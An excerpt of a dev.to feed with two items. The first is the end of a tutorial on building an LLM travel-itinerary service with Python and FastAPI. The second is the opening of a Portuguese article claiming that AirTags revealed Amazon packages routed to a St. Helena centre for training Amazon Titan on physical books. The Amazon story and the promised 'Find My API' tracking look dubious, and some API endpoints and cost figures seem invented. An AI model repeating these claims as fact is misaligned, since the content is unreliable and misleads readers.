&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_flights&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;origin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dest&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;depart&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;return_&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;https://partners.api.skyscanner.net/apiservices/browsequotes/v1.0/US/USD/en-US/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;origin&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;dest&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;depart&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;return_&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="n"&gt;resp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;httpx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;AsyncClient&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;apiKey&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SKYSCANNER_KEY&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)})&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Fetch hotels:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_hotels&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;city&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;checkin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;checkout&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;budget&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;https://booking.com/api/v1/hotels&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="n"&gt;params&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;city&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;city&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;checkin&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;checkin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;checkout&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;checkout&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;max_price&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;budget&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;resp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;httpx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;AsyncClient&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Authorization&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Bearer &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;BOOKING_KEY&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Build the LLM prompt:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;build_prompt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;flights&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hotels&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;weather&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;health&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
You are a travel assistant. Create a 7‑day itinerary for Tokyo, Japan (Oct 10‑16 2026) with a total budget of $2,500.
Include:
- Flight options (price, carrier, layovers)
- Hotel suggestions (price per night, rating)
- Daily activities (cultural, outdoor, nightlife)
- Current weather forecast
- COVID‑19 entry requirements
Present the plan as markdown with a budget breakdown.
Data:
Flights: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;flights&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;
Hotels: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hotels&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;
Weather: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;weather&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;
Health: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;health&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Call the LLM:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;generate_itinerary&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prompt&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;openai&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ChatCompletion&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;gpt-4o&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;messages&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;role&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;system&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;content&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;You are a concise travel planner.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
                  &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;role&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;content&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;prompt&lt;/span&gt;&lt;span class="p"&gt;}],&lt;/span&gt;
        &lt;span class="n"&gt;temperature&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;choices&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Run the FastAPI endpoint&lt;/strong&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;FastAPI&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="nd"&gt;@app.post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/itinerary&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;create_itinerary&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ItineraryRequest&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;flights&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;get_flights&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;origin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;destination&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;start_date&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;end_date&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;hotels&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;get_hotels&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;destination&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;start_date&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;end_date&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;budget&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;weather&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;get_weather&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;destination&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;start_date&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;end_date&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;health&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;get_health_rules&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;destination&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;prompt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;build_prompt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;flights&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hotels&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;weather&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;health&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;itinerary_md&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;generate_itinerary&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prompt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;itinerary&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;itinerary_md&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Start the service:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;uvicorn main:app &lt;span class="nt"&gt;--host&lt;/span&gt; 0.0.0.0 &lt;span class="nt"&gt;--port&lt;/span&gt; 8000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Visit &lt;code&gt;http://localhost:8000/docs&lt;/code&gt; to test the endpoint with Swagger UI.  &lt;/p&gt;




&lt;h2&gt;
  
  
  Cost Comparison: AI Bot vs. Traditional Agency
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;AI Travel Bot (monthly)&lt;/th&gt;
&lt;th&gt;Traditional Agency (per trip)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;API usage (flight, hotel, weather)&lt;/td&gt;
&lt;td&gt;$120 (pay‑as‑you‑go)&lt;/td&gt;
&lt;td&gt;N/A&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LLM calls (≈ 150 tokens/itinerary)&lt;/td&gt;
&lt;td&gt;$0.03 per itinerary&lt;/td&gt;
&lt;td&gt;N/A&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hosting (AWS t3.small)&lt;/td&gt;
&lt;td&gt;$25&lt;/td&gt;
&lt;td&gt;N/A&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Human labor&lt;/td&gt;
&lt;td&gt;$0&lt;/td&gt;
&lt;td&gt;$200‑$500 (consultation)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Total per itinerary&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;≈ $0.15&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;$200‑$500&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The AI solution reduces per‑trip cost by &lt;strong&gt;&amp;gt;99 %&lt;/strong&gt;, making it viable for both boutique startups and large OTAs.  &lt;/p&gt;




&lt;h2&gt;
  
  
  Privacy, Bias &amp;amp; Ethical Considerations
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Data minimization:&lt;/strong&gt; Store only what is required for the session; purge after 15 minutes.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Bias mitigation:&lt;/strong&gt; Prompt the LLM with “provide diverse activity options across price tiers and cultural backgrounds.”
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Transparency:&lt;/strong&gt; Include a disclaimer that health information is sourced from WHO/CDC and may change; encourage users to double‑check official sources.
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Practical Checklist for Launching Your Travel‑AI Bot
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;API contracts:&lt;/strong&gt; Secure keys for flight, hotel, weather and health data providers.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rate‑limit strategy:&lt;/strong&gt; Implement Redis‑backed token bucket to avoid throttling.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Caching policy:&lt;/strong&gt; 10‑minute TTL for price/health data; 1‑hour TTL for weather forecasts.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Security:&lt;/strong&gt; Enforce TLS 1.3, use HSTS, rotate secrets quarterly.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Compliance:&lt;/strong&gt; Add consent checkbox; store consent logs for GDPR audit.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Testing:&lt;/strong&gt; Unit‑test each provider wrapper; run end‑to‑end tests with mock API responses.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Monitoring:&lt;/strong&gt; Set up Prometheus alerts for latency &amp;gt; 3 &lt;/li&gt;
&lt;/ol&gt;

</description>
      <category>aitravel</category>
      <category>postpandemic</category>
      <category>openborders</category>
      <category>english</category>
    </item>
    <item>
      <title>Rastreando Amazon: AirTags revelam uso de pacotes na IA</title>
      <dc:creator>LeoJulieta</dc:creator>
      <pubDate>Tue, 18 Aug 2026 04:36:54 +0000</pubDate>
      <link>https://dev.to/leojulieta/rastreando-amazon-airtags-revelam-uso-de-pacotes-na-ia-91n</link>
      <guid>https://dev.to/leojulieta/rastreando-amazon-airtags-revelam-uso-de-pacotes-na-ia-91n</guid>
      <description>&lt;h1&gt;
  
  
  Como rastrear pacotes da Amazon com AirTags e entender o impacto dos livros físicos no treinamento de IA
&lt;/h1&gt;

&lt;h2&gt;
  
  
  Introdução
&lt;/h2&gt;

&lt;p&gt;Um grupo de usuários do Reddit colocou AirTags em encomendas da Amazon e descobriu que muitos pacotes eram desviados para o &lt;strong&gt;Amazon Robotics Fulfillment Center&lt;/strong&gt; em St. Helena (NC), onde são usados para alimentar os modelos de linguagem da gigante do e‑commerce. O caso, divulgado pela Xataka, desencadeou um debate intenso sobre privacidade, consumo energético da IA e a cadeia de suprimentos de dados.  &lt;/p&gt;

&lt;p&gt;Neste artigo você vai:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Entender como a Amazon transforma livros físicos em treinamento de IA;
&lt;/li&gt;
&lt;li&gt;Ver na prática como rastrear envios com AirTag usando Python e a API da Apple Find My;
&lt;/li&gt;
&lt;li&gt;Avaliar a pegada energética desses processos;
&lt;/li&gt;
&lt;li&gt;Comparar a regulação de dados nos EUA, UE e América Latina;
&lt;/li&gt;
&lt;li&gt;Receber um checklist rápido para auditar a cadeia de suprimentos de dados.
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Por que isso importa agora
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Motivo&lt;/th&gt;
&lt;th&gt;Impacto direto&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Privacidade em risco&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;AirTags revelam rotas logísticas internas que antes eram confidenciais.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Consumo energético da IA&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Cada livro digitalizado gera demanda de energia para armazenamento e treinamento de modelos.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Regulação em evolução&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;GDPR, CCPA e LGPD estão sendo ampliados para cobrir dados de logística.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Consciência do consumidor&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Clientes exigem transparência sobre o ciclo de vida dos produtos que compram.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Esses fatores convergem para tornar o tema crucial tanto para profissionais de compliance quanto para o público geral.&lt;/p&gt;




&lt;h2&gt;
  
  
  O que aconteceu: o caso Xataka
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Detalhe&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Data&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;12 de junho de 2024&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Fonte&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Xataka – “Rastreando pacotes da Amazon com AirTag: descubra onde a IA nasce”&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Resumo&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Usuários colocaram AirTags em pedidos da Amazon. O rastreamento mostrou que vários pacotes eram encaminhados ao &lt;strong&gt;Amazon Robotics Fulfillment Center&lt;/strong&gt; em St. Helena, NC, onde há um data center dedicado ao treinamento do modelo &lt;strong&gt;Amazon Titan&lt;/strong&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Como a Amazon usa livros físicos para treinar IA
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Recepção nas editoras&lt;/strong&gt; – Livros são transportados por caminhão ou trem (2‑4 dias).
&lt;/li&gt;
&lt;li&gt;
